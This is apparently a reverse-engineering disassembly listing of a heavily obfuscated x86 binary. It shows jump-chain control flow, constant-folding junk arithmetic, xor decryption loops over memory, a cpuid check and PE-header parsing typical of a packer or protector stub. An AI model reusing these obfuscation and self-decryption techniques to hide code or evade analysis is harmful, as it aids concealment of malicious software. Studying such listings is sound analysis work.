; START	OF FUNCTION CHUNK FOR sub_42F65A


loc_428B78:				; CODE XREF: sub_42F65A:loc_42A750j
		mov	ebp, eax
		pop	eax
		push	847B75B6h
		jmp	loc_42C88E
; END OF FUNCTION CHUNK	FOR sub_42F65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_428B85:				; CODE XREF: sub_423648:loc_4243DFj
		cmp	dword ptr [ebp-1Ch], 0Fh


loc_428B89:				; CODE XREF: sub_423F02:loc_42CE6Cj
		jnz	loc_42F13C
		mov	eax, [ebp-1Ch]
		shl	eax, 8
		push	offset sub_42E84F
		jmp	nullsub_30
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42525E


loc_428B9F:				; CODE XREF: sub_42525E+16j
		push	offset sub_42EF77
		jmp	nullsub_19
; END OF FUNCTION CHUNK	FOR sub_42525E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424680


loc_428BA9:				; CODE XREF: sub_424680:loc_42C889j
		call	sub_42AD90


loc_428BAE:				; CODE XREF: _7hdaygc1:loc_426DC3j
		rol	eax, 15h
		add	eax, 0FBE87CA9h
		and	eax, 87F5FF62h
		xor	eax, 761D262h
		xchg	eax, [esp+0]


loc_428BC6:				; CODE XREF: _7hdaygc1:loc_42B914j
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_42F03C


loc_428BCF:				; CODE XREF: _7hdaygc1:0042BA6Cj
		jmp	loc_4258C3
; END OF FUNCTION CHUNK	FOR sub_424680
; ---------------------------------------------------------------------------


loc_428BD4:				; CODE XREF: _7hdaygc1:0042E671j
		and	esi, 0D884136Bh

; =============== S U B	R O U T	I N E =======================================



sub_428BDA	proc near		; CODE XREF: sub_42A92E+2158p
		xchg	eax, [esp+0]
		pop	eax
		mov	ds:dword_42B97C, eax
		retn
sub_428BDA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A92E


loc_428BE5:				; CODE XREF: sub_42A92E+2j
		rol	eax, 4
		jmp	loc_428B45
; END OF FUNCTION CHUNK	FOR sub_42A92E
; ---------------------------------------------------------------------------


loc_428BED:				; DATA XREF: sub_42A6C3-3EEEo
		xor	eax, 0B929638Ah
		add	eax, ebp
		add	eax, 26FF7D92h
		mov	eax, [eax]
		mov	eax, [eax+3Ch]
		cdq
		push	offset sub_42B265
		jmp	loc_42EA52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B470


loc_428C0B:				; CODE XREF: sub_42B470:loc_42C5FCj
		and	eax, 0E3A28698h
		add	eax, 0DE20378Ch
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_42E9C1
		jmp	loc_425791
; END OF FUNCTION CHUNK	FOR sub_42B470

; =============== S U B	R O U T	I N E =======================================



sub_428C26	proc near		; DATA XREF: sub_424AA8+7F31o
		call	sub_42B650
		retn
sub_428C26	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4273CA


loc_428C2C:				; CODE XREF: _7hdaygc1:loc_4239ACj
					; sub_4273CA+80D8j
		jmp	nullsub_123
; END OF FUNCTION CHUNK	FOR sub_4273CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A39


loc_428C31:				; CODE XREF: sub_426A39+6F2Ej
		jmp	loc_42B831
; END OF FUNCTION CHUNK	FOR sub_426A39
; ---------------------------------------------------------------------------


loc_428C36:				; CODE XREF: _7hdaygc1:00426816j
		jmp	loc_42B349

; =============== S U B	R O U T	I N E =======================================



sub_428C3B	proc near		; CODE XREF: _7hdaygc1:004231CCp
					; sub_42D002:loc_423B8Dj ...
		push	0E346104h
		pop	eax
		add	eax, 3858AE8Ch
		or	eax, 0D8CF138Bh
		xor	eax, 8A388CCEh
		retn
sub_428C3B	endp

; ---------------------------------------------------------------------------


loc_428C54:				; CODE XREF: _7hdaygc1:0042BA16j
		jz	loc_42AB07
		ror	ecx, 0Dh
		jl	loc_42977C
		jmp	loc_42F4EE
; ---------------------------------------------------------------------------
		mov	eax, [ebp-4]
		add	eax, 18h
		mov	[ebp-3Ch], eax
		push	offset sub_42B6B5
		jmp	locret_423DA8
; ---------------------------------------------------------------------------


loc_428C7B:				; CODE XREF: _7hdaygc1:loc_42C86Fj
		add	edx, ebp
		add	edx, 0C2896A8h
		mov	edx, [edx]
		lea	eax, [ebp-14h]
		mov	ecx, [ebp-30h]
		jmp	loc_42AE68
; ---------------------------------------------------------------------------


loc_428C90:				; CODE XREF: _7hdaygc1:loc_423CF2j
		cpuid
		add	[esi], eax
		xor	[esi], ebx
		add	[esi], ecx
		jmp	loc_428F48
; ---------------------------------------------------------------------------


loc_428C9D:				; CODE XREF: _7hdaygc1:0042DC2Bj
		mov	esi, 68B19C01h


loc_428CA2:				; CODE XREF: _7hdaygc1:loc_42BFAEj
		call	sub_42D757
		push	0A95FF56Ah
		xchg	esi, [esp]


loc_428CAF:				; CODE XREF: _7hdaygc1:loc_424CB1j
		mov	edx, esi
		jmp	loc_42F5E1
; ---------------------------------------------------------------------------


loc_428CB6:				; CODE XREF: _7hdaygc1:loc_424DA9j
		jge	loc_42B578
		jno	loc_426BC4
		adc	esi, ebp
		jmp	loc_42B578
; ---------------------------------------------------------------------------


loc_428CC9:				; DATA XREF: _7hdaygc1:00426F49o
		push	4C51C24Dh
		pop	ecx
		or	ecx, ds:4000FAh
		add	ecx, 90704F9Dh
		jmp	loc_426C9D
; ---------------------------------------------------------------------------
		push	51D8A8C7h
		pop	edx
		or	edx, 178CE679h
		sub	edx, 65261219h
		or	edx, 108CD05Ah
		xor	edx, 0BAD395ACh
		jmp	loc_42559B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B6B5


loc_428D03:				; CODE XREF: sub_42B6B5:loc_4247F9j
		add	edi, eax
		add	edi, 4ED2E944h
		mov	[edi], edx
		xchg	edx, [esp+4+var_4]
		push	offset loc_42D90C
		jmp	nullsub_209
; END OF FUNCTION CHUNK	FOR sub_42B6B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E2E


loc_428D1A:				; CODE XREF: sub_426E2E+10j
		lea	eax, [ebp-14h]
		mov	ecx, [ebp-30h]
		call	sub_42A94C


loc_428D25:				; CODE XREF: _7hdaygc1:00429B6Dj
		mov	edx, [ebp-4]
		lea	eax, [ebp-18h]
		jmp	loc_424D2D
; END OF FUNCTION CHUNK	FOR sub_426E2E
; ---------------------------------------------------------------------------


loc_428D30:				; CODE XREF: _7hdaygc1:004234ECj
		pop	edi
		rol	edi, 15h
		xor	edi, 91D65F5Fh
		add	edi, 0BAB01310h
		push	offset loc_4263A2
		jmp	locret_42C433
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_428D4A:				; CODE XREF: sub_4291EA:loc_4293D4j
		xchg	edx, ebx
		jmp	loc_425946
; END OF FUNCTION CHUNK	FOR sub_4291EA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_184. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_428D52:				; CODE XREF: sub_423172+8605j
		jmp	loc_42368B
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429C1F


loc_428D57:				; CODE XREF: sub_429C1F:loc_42D54Fj
		mov	eax, esp
		push	0
; END OF FUNCTION CHUNK	FOR sub_429C1F
; START	OF FUNCTION CHUNK FOR sub_42D002


loc_428D5B:				; CODE XREF: sub_42D002:loc_42651Ej
		mov	edx, esp
		push	ebx
		jmp	loc_4249B6
; END OF FUNCTION CHUNK	FOR sub_42D002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A62


loc_428D63:				; CODE XREF: sub_426A62:loc_426F6Cj
					; sub_426A62+52BBj
		push	1AB6EF2h
		pop	eax
		sub	eax, 26A14057h
		add	eax, 0E5F55716h
		jmp	loc_426281
; END OF FUNCTION CHUNK	FOR sub_426A62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AF7


loc_428D7A:				; CODE XREF: sub_428AF7:loc_425514j
		pop	edi
		call	sub_42F075
; END OF FUNCTION CHUNK	FOR sub_428AF7
; START	OF FUNCTION CHUNK FOR sub_42F1C6


loc_428D80:				; CODE XREF: sub_42F1C6+12j
		jmp	loc_42934C
; END OF FUNCTION CHUNK	FOR sub_42F1C6
; ---------------------------------------------------------------------------


loc_428D85:				; CODE XREF: _7hdaygc1:00425D3Aj
		jmp	loc_42D1AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_428D8A:				; CODE XREF: sub_4291EA-30EBj
		jp	loc_428998
		xor	ebx, edx
		jmp	loc_4272A1
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------


loc_428D97:				; CODE XREF: _7hdaygc1:0042E628j
		jl	loc_42F5DB
		jnp	loc_425A3A


loc_428DA3:				; CODE XREF: _7hdaygc1:loc_42CCB5j
		call	sub_42D01B


loc_428DA8:				; CODE XREF: _7hdaygc1:loc_427360j
		jnz	loc_4290D0
		jmp	loc_42FCA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_428DB3:				; CODE XREF: sub_423DFC:loc_4262C4j
		mov	edx, [ebp-14h]
		mov	edx, [edx+1Ch]
		push	offset loc_42F456
		jmp	nullsub_76
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C209


loc_428DC3:				; CODE XREF: sub_42C209+F35j
					; sub_42C209:loc_42EE31j
		mov	byte ptr [ebp-20h], 30h
		inc	dword ptr [ebp-10h]
; END OF FUNCTION CHUNK	FOR sub_42C209
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_428DCA:				; CODE XREF: sub_424AE1:loc_424224j
					; _7hdaygc1:0042529Ej ...
		dec	dword ptr [ebp-10h]
		call	sub_42AA47


loc_428DD2:				; CODE XREF: sub_423752+A9E5j
		jmp	loc_426D25
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD73


loc_428DD7:				; CODE XREF: sub_42DD73-77D8j
		jmp	loc_42DF41
; END OF FUNCTION CHUNK	FOR sub_42DD73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4263AB


loc_428DDC:				; CODE XREF: sub_4263AB+7j
		jmp	loc_42E4CD
; END OF FUNCTION CHUNK	FOR sub_4263AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4268D9


loc_428DE1:				; CODE XREF: sub_4268D9-7B4j
		jmp	loc_42599C
; END OF FUNCTION CHUNK	FOR sub_4268D9

; =============== S U B	R O U T	I N E =======================================



sub_428DE6	proc near		; DATA XREF: _7hdaygc1:004261B2o

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00423EFB SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0042DC68 SIZE 0000000D BYTES

		xchg	edi, [esp+0]
		mov	esi, edi
		pop	edi
		pop	ebp
		jmp	loc_42DC68
sub_428DE6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42616B


loc_428DF2:				; CODE XREF: sub_42616B+3j
					; _7hdaygc1:loc_427D34j
		xchg	esi, [esp+4+var_4]
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	ecx, [esp+4+var_4]
		mov	ebp, ecx
		pop	ecx
		mov	eax, ds:dword_42BC74
		jmp	loc_4280E8
; END OF FUNCTION CHUNK	FOR sub_42616B
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FFD9878Ah, 3DADE9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_428E16:				; CODE XREF: _7hdaygc1:loc_429081j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_428E17:				; CODE XREF: sub_425F27:loc_429ED5j
					; sub_425F27+44C4j
		lea	eax, [ebp-14h]
		push	edx
		mov	edx, eax
		xchg	edx, [esp+0]
		push	edx
		push	0A2FB062h
		jmp	loc_42E5A9
; END OF FUNCTION CHUNK	FOR sub_425F27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E94F


loc_428E2B:				; CODE XREF: sub_42E94F:loc_425F8Cj
		add	eax, ebp
		call	sub_425F27


loc_428E32:				; CODE XREF: _7hdaygc1:0042CD7Fj
		jmp	sub_4291EA
; END OF FUNCTION CHUNK	FOR sub_42E94F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B74A


loc_428E37:				; CODE XREF: sub_42B74A-8731j
		jmp	loc_42671D
; END OF FUNCTION CHUNK	FOR sub_42B74A

; =============== S U B	R O U T	I N E =======================================



sub_428E3C	proc near		; CODE XREF: sub_426A39+10p
					; _7hdaygc1:0042A560j

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		add	esi, 0BFC27143h
		xchg	esi, [esp-4+arg_0]
		jmp	sub_429999
sub_428E3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428E4E	proc near		; DATA XREF: _7hdaygc1:0042EB63o
		pop	ebp
		push	ds:dword_423B1C
		retn
sub_428E4E	endp


; =============== S U B	R O U T	I N E =======================================



sub_428E56	proc near		; CODE XREF: sub_426130-2B67j
					; sub_42512A:loc_428391p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004246B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427FD7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042D4C6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D832 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042DDD6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042FC09 SIZE 00000006 BYTES

		jnz	loc_42DDD6
		jmp	loc_42D832
sub_428E56	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_428E61:				; CODE XREF: sub_424AE1:loc_4238D7j
		xor	[esi], ebx
		add	[esi], ecx
		xor	[esi], edx
		mov	eax, 80000003h
		jmp	loc_4252FA
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB24


loc_428E71:				; CODE XREF: sub_42EB24:loc_423CEDj
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jmp	loc_423406
; END OF FUNCTION CHUNK	FOR sub_42EB24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_428E85:				; CODE XREF: sub_42C16F:loc_42307Dj
		or	eax, 8B6B48C7h
		test	eax, 2000h
		jmp	loc_423608
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------


loc_428E96:				; CODE XREF: _7hdaygc1:00429A86j
		add	ecx, 0DEE19248h
		mov	ecx, [ecx]
		call	sub_42A94C
		mov	edx, [ebp-4]
		push	523BA72h
		pop	eax
		jmp	loc_42CA19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0C4


loc_428EB1:				; CODE XREF: sub_42E0C4-715Dj
		xor	edx, 0C6F649D0h
		add	edx, ebp
		add	edx, 6E81D420h
		mov	[edx], eax
		pop	edx
		jmp	loc_428973
; END OF FUNCTION CHUNK	FOR sub_42E0C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424744


loc_428EC7:				; CODE XREF: sub_424744-155j
		sub	esi, 6AEAE5E2h
		jns	loc_4288A3


loc_428ED3:				; CODE XREF: _7hdaygc1:004290CAj
		and	eax, 0A5CCEE3Dh
		jz	loc_42C1C4
		mov	esi, [edi]
		jmp	loc_42E150
; END OF FUNCTION CHUNK	FOR sub_424744
; ---------------------------------------------------------------------------


loc_428EE6:				; CODE XREF: _7hdaygc1:00428627j
		and	edi, 0F828901Bh
		cmp	edi, 0E2A2E953h
		jmp	loc_426D06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B20


loc_428EF7:				; CODE XREF: sub_423B20+Ej
		pop	eax
		rol	eax, 1Fh
		test	eax, 20000h
		jmp	loc_424D19
; END OF FUNCTION CHUNK	FOR sub_423B20
; ---------------------------------------------------------------------------

locret_428F06:				; CODE XREF: _7hdaygc1:0042B425j
		retn
; ---------------------------------------------------------------------------


loc_428F07:				; CODE XREF: _7hdaygc1:0042E042j
		jmp	loc_42C5D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426471


loc_428F0C:				; CODE XREF: sub_426471+Cj
		jmp	loc_4250D1
; END OF FUNCTION CHUNK	FOR sub_426471
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4287D8


loc_428F11:				; CODE XREF: _7hdaygc1:loc_42808Dj
					; sub_4287D8+7j
		push	0
		push	ecx
		push	0DA4680E6h
		pop	ecx
		add	ecx, 36C18373h
		sub	ecx, 0C20AE759h
		jmp	loc_4271CD
; END OF FUNCTION CHUNK	FOR sub_4287D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CCFE


loc_428F2B:				; CODE XREF: sub_42CCFE-4B64j
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		mov	eax, ds:dword_427474[eax*4]
		call	sub_42CFDA
; END OF FUNCTION CHUNK	FOR sub_42CCFE
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_428F3D:				; CODE XREF: sub_42DD73-314Bj
					; sub_4253A0+5B16j
		jnz	loc_42A599


loc_428F43:				; CODE XREF: _7hdaygc1:0042A382j
		jmp	loc_4261DE
; END OF FUNCTION CHUNK	FOR sub_4253A0
; ---------------------------------------------------------------------------


loc_428F48:				; CODE XREF: _7hdaygc1:00428C98j
		jmp	loc_42DF30
; ---------------------------------------------------------------------------


loc_428F4D:				; CODE XREF: _7hdaygc1:00423734j
					; _7hdaygc1:loc_4281ECj
		jmp	loc_4243FD
; ---------------------------------------------------------------------------
		test	ecx, 416C582Ch
		jmp	loc_42EF53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CCC


loc_428F5D:				; CODE XREF: sub_423CCC:loc_42816Fj
		mov	esi, edx
		pop	edx
		add	[esi], ebx
		xor	[esi], edx
		jmp	loc_42E845
; END OF FUNCTION CHUNK	FOR sub_423CCC

; =============== S U B	R O U T	I N E =======================================



sub_428F69	proc near		; DATA XREF: sub_4282A9:loc_424B04o
					; _7hdaygc1:00425E9Fo ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042C833 SIZE 0000000E BYTES

		push	edx
		push	ebp
		jmp	loc_42C833
sub_428F69	endp

; ---------------------------------------------------------------------------
		mov	[ebp-4], eax
		push	edi
		push	0CD3D7089h
		xchg	esi, [esp]
		jmp	loc_424AB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4CE


loc_428F81:				; CODE XREF: sub_42F4CE+Cj
		jnz	loc_428AE7
		jmp	loc_42F8B4
; END OF FUNCTION CHUNK	FOR sub_42F4CE
; ---------------------------------------------------------------------------
		mov	ebp, edx


loc_428F8E:				; CODE XREF: _7hdaygc1:loc_4237E0j
		not	ebx
		jmp	sub_42C48C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F528


loc_428F95:				; CODE XREF: sub_42F528:loc_42F47Dj
		jz	loc_42D4D0
		jmp	loc_42DDDE
; END OF FUNCTION CHUNK	FOR sub_42F528
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_428FA0:				; CODE XREF: sub_42C16F+1BFDj
		jnb	loc_42B6A2
		xor	[edx], eax
		mov	eax, [ebp-4]
		mov	eax, [eax]
		shl	eax, 0Fh
		mov	edx, [ebp-4]
		call	sub_42F7E6


loc_428FB8:				; CODE XREF: sub_424F62+3818j
		jmp	nullsub_71
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282A9


loc_428FBD:				; CODE XREF: sub_4282A9:loc_423234j
		jnz	loc_424B04
		jmp	loc_423AA2
; END OF FUNCTION CHUNK	FOR sub_4282A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A39


loc_428FC8:				; CODE XREF: sub_426A39:loc_426A53j
		mov	eax, ecx
		xchg	eax, [esp-4+arg_0]
		push	edi
		mov	edi, ebp
		xchg	edi, [esp+0]
		push	0CCC0FB4h
		jmp	loc_42D94B
; END OF FUNCTION CHUNK	FOR sub_426A39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BA2C


loc_428FDD:				; CODE XREF: sub_42BA2C:loc_425791j
		jz	loc_42FB07
		jmp	loc_42A18D
; END OF FUNCTION CHUNK	FOR sub_42BA2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425522


loc_428FE8:				; CODE XREF: sub_425522:loc_425851j
		xor	esi, 42EF9ADh
		add	esi, ebp
		add	esi, 0E7D90405h
		push	offset sub_42512A
		jmp	nullsub_151
; END OF FUNCTION CHUNK	FOR sub_425522
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42911B


loc_429000:				; CODE XREF: sub_42911B:loc_42DE34j
		pop	edx
		xor	edx, 3F9FEDD3h
		rol	edx, 2
		sub	edx, 0E487AB97h
		add	edx, 8350195Eh
		call	sub_42ABE3


loc_42901B:				; CODE XREF: sub_424F2F+Aj
		add	ecx, 8420EE2Dh
		or	ecx, 13424782h
		xor	ecx, 0E47C7F82h
		rol	ecx, 1
		add	ecx, 1054682h
		xchg	ecx, [esp+4+var_4]
		jmp	loc_42C846
; END OF FUNCTION CHUNK	FOR sub_42911B
; ---------------------------------------------------------------------------


loc_42903D:				; CODE XREF: _7hdaygc1:00426887j
		popf
		mov	ebp, ebx
		jmp	loc_426C06
; ---------------------------------------------------------------------------
		push	2201D521h
		pop	edx
		rol	edx, 1Eh
		jnb	loc_42B891


loc_429054:				; CODE XREF: _7hdaygc1:0042D48Aj
		jmp	loc_42C39E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E254


loc_429059:				; CODE XREF: sub_42E254:loc_42357Fj
		jmp	nullsub_99
; END OF FUNCTION CHUNK	FOR sub_42E254
; ---------------------------------------------------------------------------
		mov	ebx, esi
		mov	edx, 3EE27E81h
		mov	eax, [esi]
		jmp	loc_42D0E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424B63


loc_42906C:				; CODE XREF: sub_424B63:loc_42469Cj
		mov	eax, [ebp-4]
		xor	edx, edx
		push	offset loc_42846F
		jmp	nullsub_96
; END OF FUNCTION CHUNK	FOR sub_424B63
; ---------------------------------------------------------------------------


loc_42907B:				; CODE XREF: _7hdaygc1:loc_42BDFDj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42524F


loc_42907C:				; CODE XREF: sub_42524F+7D0Cj
		jmp	loc_42A438
; END OF FUNCTION CHUNK	FOR sub_42524F
; ---------------------------------------------------------------------------


loc_429081:				; CODE XREF: _7hdaygc1:004233F1j
		jmp	locret_428E16
; ---------------------------------------------------------------------------


loc_429086:				; DATA XREF: sub_425CA9+9864o
		mov	eax, [ebp-8]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4263AB


loc_42908E:				; CODE XREF: sub_4263AB+8125j
		jmp	loc_425FEC
; END OF FUNCTION CHUNK	FOR sub_4263AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_429093:				; CODE XREF: sub_423172+1B26j
		jmp	loc_42B75E
; END OF FUNCTION CHUNK	FOR sub_423172

; =============== S U B	R O U T	I N E =======================================



sub_429098	proc near		; DATA XREF: sub_42E254:loc_42806Do

; FUNCTION CHUNK AT 00424DA1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A038 SIZE 00000005 BYTES

		mov	eax, [ebp+8]
		cmp	dword ptr [eax-0Ch], 4
		jnz	loc_4290AE
		add	dword ptr [ebp-8], 4
		jmp	loc_42A038
; ---------------------------------------------------------------------------


loc_4290AE:				; CODE XREF: sub_429098+7j
		add	dword ptr [ebp-8], 2
		jmp	loc_424DA1
sub_429098	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_4290B7:				; CODE XREF: sub_423648+59Fj
					; sub_423648:loc_42840Ej
		test	byte ptr [ebp-8], 20h
		jz	loc_4282FD
		push	ebp
		jmp	loc_42F373
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------


loc_4290C7:				; CODE XREF: _7hdaygc1:0042FCA9j
		mov	[ebp+0], ebx
		jns	loc_428ED3


loc_4290D0:				; CODE XREF: _7hdaygc1:loc_428DA8j
		call	sub_4290DB
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0C4


loc_4290D6:				; CODE XREF: sub_42E0C4-793Ej
		jmp	nullsub_77
; END OF FUNCTION CHUNK	FOR sub_42E0C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4290DB	proc near		; CODE XREF: _7hdaygc1:loc_4290D0p
					; sub_42E283:loc_42A270p
					; DATA XREF: ...
		push	ebp
		mov	ebp, esp
		js	sub_42D30E
		jmp	sub_42BE63
sub_4290DB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DAF7


loc_4290E9:				; CODE XREF: sub_42DAF7-67ABj
		pop	esi


loc_4290EA:				; CODE XREF: _7hdaygc1:loc_426972j
		or	esi, 0EE65007Eh
		add	esi, 11CD0B9Eh
		push	offset sub_425094
		jmp	nullsub_68
; END OF FUNCTION CHUNK	FOR sub_42DAF7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_429101:				; CODE XREF: _7hdaygc1:0042C103j
		jmp	loc_426A4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D3A


loc_429106:				; CODE XREF: sub_427D3A-331Fj
		jmp	nullsub_20
; END OF FUNCTION CHUNK	FOR sub_427D3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F789


loc_42910B:				; CODE XREF: sub_42F789-ABD7j
		shr	eax, 6
		mov	edx, [ebp-4]
		xor	[edx], eax
		inc	dword ptr [ebp-8]
		jmp	loc_424E92
; END OF FUNCTION CHUNK	FOR sub_42F789

; =============== S U B	R O U T	I N E =======================================



sub_42911B	proc near		; DATA XREF: sub_42D85Fo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042373B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00424525 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428287 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429000 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0042A2B1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042A7EF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042B096 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042B823 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042C846 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CC29 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042DE34 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E7BC SIZE 00000005 BYTES

		push	edi
		mov	edi, ebp
		xchg	edi, [esp+4+var_4]
		jb	loc_42CC29
		jmp	loc_42B823
sub_42911B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA11


loc_42912C:				; CODE XREF: sub_42AA11-65AAj
		pop	eax
		and	eax, 0D5CC14h
		add	eax, 0FF7D682Eh
		xchg	eax, [esp+4+var_4]


loc_42913C:				; CODE XREF: _7hdaygc1:loc_424E78j
		jmp	loc_42E8B3
; END OF FUNCTION CHUNK	FOR sub_42AA11
; ---------------------------------------------------------------------------
		mov	[ebx], eax
		js	loc_42B6AA
		jmp	sub_42F789
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F05E


loc_42914E:				; CODE XREF: sub_42F05E:loc_424E38j
		mov	eax, [ebp+8]
		push	eax
		cmp	dword ptr [ebp-14h], 5
		setz	al
		call	sub_42A3F7
		pop	ecx
		jmp	loc_42DA91
; END OF FUNCTION CHUNK	FOR sub_42F05E
; ---------------------------------------------------------------------------


loc_429164:				; CODE XREF: _7hdaygc1:0042B8D9j
		xor	edi, 3EDC6249h
		jmp	loc_42AC0C
; ---------------------------------------------------------------------------
		mov	edx, [eax]
		jmp	loc_4264BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ABF7


loc_429176:				; CODE XREF: sub_42ABF7:loc_423DD0j
					; sub_42ABF7+51B3j
		push	edx
		push	38DD398Ch
		pop	edx
		and	edx, 0B0D1302Dh
		rol	edx, 1Ch
		jmp	loc_42B47E
; END OF FUNCTION CHUNK	FOR sub_42ABF7
; ---------------------------------------------------------------------------
		mov	edx, 0AFF5C204h
